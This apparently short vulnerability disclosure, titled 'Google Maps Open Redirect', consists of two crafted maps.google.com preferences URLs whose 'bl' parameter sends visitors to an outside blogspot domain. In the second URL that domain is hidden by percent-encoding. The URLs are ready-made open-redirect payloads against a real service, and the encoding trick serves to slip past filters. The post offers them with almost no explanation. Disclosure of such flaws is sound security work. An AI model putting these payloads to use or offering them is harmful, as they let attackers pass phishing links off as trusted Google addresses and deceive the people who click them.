Google Maps Open Redirect

Demo Video :

http://maps.google.com/m/preferences?pref=s&bl=//st2tea.blogspot.com&hl=1&safe=strict&safe=images&safe=off&gwt=on&gwt=off&lochist=on&lochist=off&sigp=pref%20bl&sig=AMctaOIRgcTAHYXz1KuVsPHwVpqFKrQCJg

or

http://maps.google.com/m/preferences?pref=s&bl=//%73%74%32%74%65%61%2E%62%6C%6F%67%73%70%6F%74%2E%63%6F%6D&hl=1&safe=strict&safe=images&safe=off&gwt=on&gwt=off&lochist=on&lochist=off&sigp=pref%20bl&sig=AMctaOIRgcTAHYXz1KuVsPHwVpqFKrQCJg